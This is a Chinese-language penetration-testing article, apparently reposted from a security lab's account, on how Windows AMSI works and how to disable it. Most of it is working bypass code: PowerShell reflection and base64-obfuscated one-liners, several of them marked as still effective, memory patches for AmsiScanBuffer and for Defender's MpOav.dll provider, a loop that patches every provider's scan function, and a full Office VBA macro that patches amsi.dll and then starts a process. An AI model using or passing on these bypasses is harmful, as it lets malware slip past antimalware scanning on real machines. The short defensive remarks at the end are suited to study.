AMSI绕过原理与实践

渗透技巧 1年前 (2023) admin
475 0 0

1.什么是AMSI

AMSI全称(Antimalware Scan Interface),反恶意软件扫描接口

反恶意软件扫描接口是允许应用程序与反恶意软件产品集成的标准

例如,在可编写脚本的应用程序中,当脚本准备好提供给脚本引擎时,应用程序可以调用Windows AMSI API,请求在执行之前扫描内容。

AMSI有效的原因是,无论代码经过多么复杂的模糊处理和混淆,当脚本需要在脚本宿主中运行时,都必须是明文未经混淆的代码形式执行。比如powershell代码,无论经过多复杂的模糊处理或者编码(比如Base64),但是当需要执行powershell代码是必须要解码之后符合powershell代码规范才能执行。

2.AMSI架构

任何应用程序(消费者)都可以请求扫描内容

任何安全供应商(供应商)都可以注册以接收扫描请求

操作系统是中介程序amsi.dll,必须由任何受amsi保护的应用程序导入

AMSI绕过原理与实践

3.受AMSI影响的产品

PowerShell (>2.0)

JavaScript

VBScript

VBA (office macro)

WMI

User Account Control (UAC)elevations

Excel 4.0 macros

Volume shadow copy operations

.NET in-memory assembly loads

4.AMSI函数

语法参数等详细信息可以查看微软官方文档https://learn.microsoft.com/en-us/windows/win32/api/amsi/

函数名 作用
AmsiCloseSession 关闭由 AmsiOpenSession 打开的会话。
AmsiInitialize 初始化 AMSI API。
AmsiNotifyOperation 向反恶意软件提供程序发送任意操作的通知。
AmsiOpenSession 打开可在其中关联多个扫描请求的会话。
AmsiResultIsMalware 确定扫描结果是否指示应阻止内容。
AmsiScanBuffer 扫描缓冲区中的内容中寻找恶意软件。
AmsiScanString 扫描字符串中的恶意软件。
AmsiUninitialize 删除 AmsiInitialize最初打开的 AMSI API 实例。

5.禁用AMSI

断开AMSI链条中的任何一个环节

AMSI绕过原理与实践

5.1.应用程序侧的Unhook

各种应用程序是通过AMSI这个接口被检测的,可以通过断开某个应用程序(比如powershell)到AMSI的路线来使这个应用程序(比如powershell)不被AMSI扫描,从而绕过AMSI。

取决于受AMSI保护的应用程序如何使用AMSI,了解应用程序的工作原理,使其在不调用AmsiScanBuffer的情况下执行代码。

AMSI绕过原理与实践

5.1.1使用反射

首先了解powershell是如何调用AMSI的

AMSI绕过原理与实践

powershell可以通过反射破坏Amsi的初始化相关对象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,从而不对当前进程进行扫描。

(这是2016年提出的概念脚本,现在AMSI会识别并拦截了)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null);

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)

改变上面的第一个脚本,使用base64绕过(此脚本也已经失效)

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

再次修改脚本,全部使用base64绕过(目前可用)

function b64decode {
param ($encoded)
$decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
return $decoded
}
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

最终绕过AMSI效果如下:

AMSI绕过原理与实践

(同样有效的脚本)

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

5.2.patch AMSI.DLL代码

AMSI的一个主要组件被实现为DLL,该DLL被加载到每个受AMSI保护的进程中,此DLL充当托管PowerShell代码和COM反恶意软件提供程序之间的连接器。因此通过修补AMSI.DLL的代码数据部分,攻击者可以破坏AMSI链。

5.2.1patch AmsiScanBuffer函数

AmsiScanBuffer()函数扫描充满恶意软件内容的缓冲区,攻击者可以修补AmsiScanBuffer的任何部分(或其调用的其他代码片段),并根据其意愿使其返回AMSI_RESULT值。

AMSI绕过原理与实践

(下面示例代码目前可用)

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
  [DllImport("
kernel32")]
  public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport("
kernel32")]
  public static extern IntPtr LoadLibrary(string name);
  [DllImport("
kernel32")]
  public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"
@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

为什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?

这是因为在64位下HRESULT:0x80070057 (E_INVALIDARG)的字节码是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表传入的参数之一无效。当AmsiScanBuffer因为参数错误而导致返回代码是E_INVALIDARG时,实际扫描结果为0即AMSI_RESULT_CLEAN。

详细说明可以去查看这个链接:https://rastamouse.me/memory-patching-amsi-bypass/

5.2.2patch AMSI Context 结构体

AMSI Context 结构体在AmsiInitialize例程期间初始化,存储在AMSI保护的进程内存中,可以通过搜索“AMSI”签名在内存中找到AMSI Context 结构体或找到指向它的全局指针,覆盖此结构将导致AmsiScanBuffer失效。

5.3.COM Server劫持

AMSI提供程序通过在HKLMSoftwareClassesCLSID中创建CLSID条目并在HKLMSSoftwareMicrosoftAMSIproviders中注册相同的CLSID来注册自己。当AMSI在主机进程中初始化时,它将枚举Providers注册表项中列出的每个CLSID,并通过导入InProcServer32子项中的DLL来初始化COM对象。

AMSI绕过原理与实践

有关CLSID可查阅微软文档:https://learn.microsoft.com/en-us/windows/win32/com/clsid-key-hklm

IAntimalwareProvider是构成AMSI主要关键的接口。想要提供反恶意软件服务的每个AMSI提供程序都需要实现lAntimalwareProvider COM接口。

劫持AMSI提供程序COM服务器可能导致绕过AMSI,而且可通过注册表监控轻松检测。

AMSI绕过原理与实践

5.4.patch AMSI提供程序

这种方法将导致AMSI初始化过程失败,从而破坏AMSI链。通过修补amsi.dll区域外的非受监控内存来完成

为了理解它,让我们深入到AMSI内部

AMSI绕过原理与实践

AMSI Initialization

任何想要使用AMSI服务的提供商都必须调用Amsilnitialize函数,用信息填充HAMSICONTEXT。下面是简化的代码

AMSI绕过原理与实践

我们会破坏一些不太直观的东西来保护提供程序本身,修补提供程序的DLL中DllGetClassObject函数的序言字节,并干扰AMSI的初始化过程。

AmsiUninitialize

每个使用AMSI的应用程序都有一个代码,用于取消初始化AMSI,那就是AmsiUninitialize函数。在PowerShell中,我们可以使用反射来调用此代码。在AmsiUtils类中声明一个名为Uninitialize()的函数,为我们取消初始化AMSI。

5.4.1Patch Microsoft MpOav.dll

基于此原理可以得到一个bypass脚本,下面是一个示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通过适当的查询注册表项来查找所有提供程序的DLL。

其它使用AMSI厂商的可以查看这个链接:https://github.com/subat0mik/whoamsi

(下面示例代码目前仍然有效)

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
  [DllImport("
kernel32")]
  public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  [DllImport("
kernel32")]
  public static extern IntPtr LoadLibrary(string name);
  [DllImport("
kernel32")]
  public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect);
}
"
@

Add-Type $APIs
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

$object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.2替换Add-Type Patch Microsoft MpOav.dll

Add-Type会将代码写入磁盘上的临时文件,然后使用csc.exe 将此代码编译为二进制文件,落地到磁盘上可能导致AV检测

解决方案:反射

Add-Type绕过脚本可以参考:http://redteam.cafe/red-team/powershell/using-reflection-for-amsi-bypass

(下面的示例代码是使用反射来代替Add-Type)

function Get-ProcAddress {
    Param(
        [Parameter(Position = 0, Mandatory = $True)] [String] $Module,
        [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
    )

    # Get a reference to System.dll in the GAC
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    # Get a reference to the GetModuleHandle and GetProcAddress methods
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
    # Get a handle to the module specified
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    # Return the address of the function
    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
    Param
    (
        [OutputType([Type])]
            
        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),
            
        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )

    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        
    Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr,
$LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr,
$GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr,
$VirtualProtectDelegate)

$hModule = $LoadLibrary.Invoke("MpOav.dll")
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule,
"DllGetClassObject")
$p = 0
$VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p)
$ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6)
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.3扫描拦截

我们可以拦截AMSIs扫描过程而不是初始化(如经典AmsiScanBuffer patch代码,可以不需要接触amsi.dl就可以完成)

AmsiScanBuffer为每个注册的AMSI提供程序调用IAntimalwareProvider::Scan() 如果提供程序返回的结果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,则扫描将停止并返回结果,而不调用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。

所以需要找到提供商的扫描函数

调用AmsiInitialize将为我们生成一个新的HAMSICONTEXT,然后将它指向提供程序DLL中的相同扫描函数,我们可以修补每个提供商的 scan函数,所以它将返回而不填写AMSI_RESULT(将保持AMSI_RESULT_CLEAN)。

(下面的示例代码目前仍然可用)

$Apis = @"
using System;
using System.Runtime.InteropServices;
public class Apis {
[DllImport("
kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("
amsi")]
public static extern int AmsiInitialize(string appName, out Int64 context);
}
"
@
Add-Type $Apis

$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)
$p = 0; $i = 0
$SIZE_OF_PTR = 8
[Int64]$ctx = 0

[Apis]::AmsiInitialize("MyScanner", [ref]$ctx)
$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16)
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64)

# Loop through all the providers
while ($AntimalwareProvider -ne 0)
{
 # Find the provider's Scan function
 $AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider)
 $AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24)

 # Patch the Scan function
 Write-host "[$i] Provider's scan function found!" $AmsiProviderScanFunc
 [APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)
 [System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6)
 
 $i++
 $AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64 + ($i*$SIZE_OF_PTR))
}

5.5 更多AMSI bypass技术

5.5.1 使用PowerShell版本2

切换powershell版本:powershell -version 2

AMSI绕过原理与实践

在脚本中:在脚本开头加入#requires -version 2

这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版 本执行

5.5.3 amsi.dll劫持

LoadLibrary函数导入dll的时候没有使用绝对路径,因此程序会首先在当前目录下寻找dll,因此可以在 powershell.exe同目录下(C:WindowsSystem32WindowsPowerShellv1.0)放一个伪造amsi.dll,就可以实现DLL劫持,而不会调用系统的amsi.dll(C:WindowsSystem32asmi.dll)

dll导入优先级如下:

进程对应的应用程序所在目录
系统目录(通过 GetSystemDirectory 获取)
16位系统目录
Windows目录(通过 GetWindowsDirectory 获取)
当前目录
PATH环境变量中的各个目录

5.5.4 宏代码绕过AMSI

详细说明可查阅:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/

Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub ByteSwapper Lib "kernel32.dll" Alias "RtlFillMemory" (Destination As Any, ByVal Length As Long, ByVal Fill As Byte)
Declare PtrSafe Sub Peek Lib "msvcrt" Alias "memcpy" (ByRef pDest As Any, ByRef pSource As Any, ByVal nBytes As Long)
Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwAccess As Long, ByVal fInherit As Integer, ByVal hObject As Long) As Long
Private Declare PtrSafe Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type
 
Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type
 
Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10
 
Function LoadDll(dll As String, func As String) As LongPtr
 
Dim AmsiDLL As LongPtr
 
AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)
 
End Function
 
Function GetBuffer(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer) As String
 
Dim LeakedBytesBuffer As String
Dim LeakedByte As LongPtr
Dim TraverseStartAddr As LongPtr
 
On Error Resume Next
 
TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset
 
Dim i As Integer
For i = 0 To TraverseOffset
    Peek LeakedByte, ByVal (TraverseStartAddr + i), 1
 
    If LeakedByte < 16 Then
        FixedByteString = "0" & Hex(LeakedByte)
        LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
    Else
        LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
    End If
Next i
 
GetBuffer = LeakedBytesBuffer
 
End Function
 
Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr
 
Dim memOffset As Integer
 
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
 
End Function
 
Sub x64_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
Dim Success As Integer
 
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success = 0
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("
&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("
&H" & "C3")
    Success = Success + 1
End If
 
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "
We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
    Success = Success + 1
End If
 
If Success = 2 Then
    Call CallMe
End If
 
End Sub
 
Sub x32_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
Dim Success As Integer
 
ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    '
 MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Debug.Print Hex(AmsiScanBufferPatchAddr)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "31")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H" & "C0")
    Success = Success + 1
End If
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Debug.Print Hex(AmsiScanStringPatchAddr)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("
&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("
&H" & "31")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("
&H" & "D2")
    Success = Success + 1
End If
 
If Success = 2 Then
    Call CallMe
End If
 
End Sub
 
Sub TestOfficeVersion()
 
#If Win64 Then
    Call x64_office
#ElseIf Win32 Then
    Call x32_office
#End If
 
End Sub
 
Sub CallMe()
     
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
 
lSuccess = CreateProcess(sNull, "
calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)
 
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
 
End Sub

6. 总结

powershell绕过方法不适合mimikatz,可以执行powershell版的mimikatz,但是会被杀毒软件(defender等)查杀。

AMSI绕过原理与实践

由于AMSI.DLL和提供程序的DLL加载到潜在攻击者所在的相同内存空间,因此破坏操作更容易。

AMSI提供程序的内存以及AMSI.dll内存空间应受到保护

AMSI的Un-initialization可能会让我们找到通过干扰AMSI初始化过程来禁用AMSI的新方法,一种不同于当前干扰AMSI扫描过程的技术。




丈八网安蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案以及靶场仿真复现等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。




原文始发于微信公众号(蛇矛实验室):AMSI绕过原理与实践

版权声明:admin 发表于 2023年2月23日 下午7:00。
转载请注明:AMSI绕过原理与实践 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...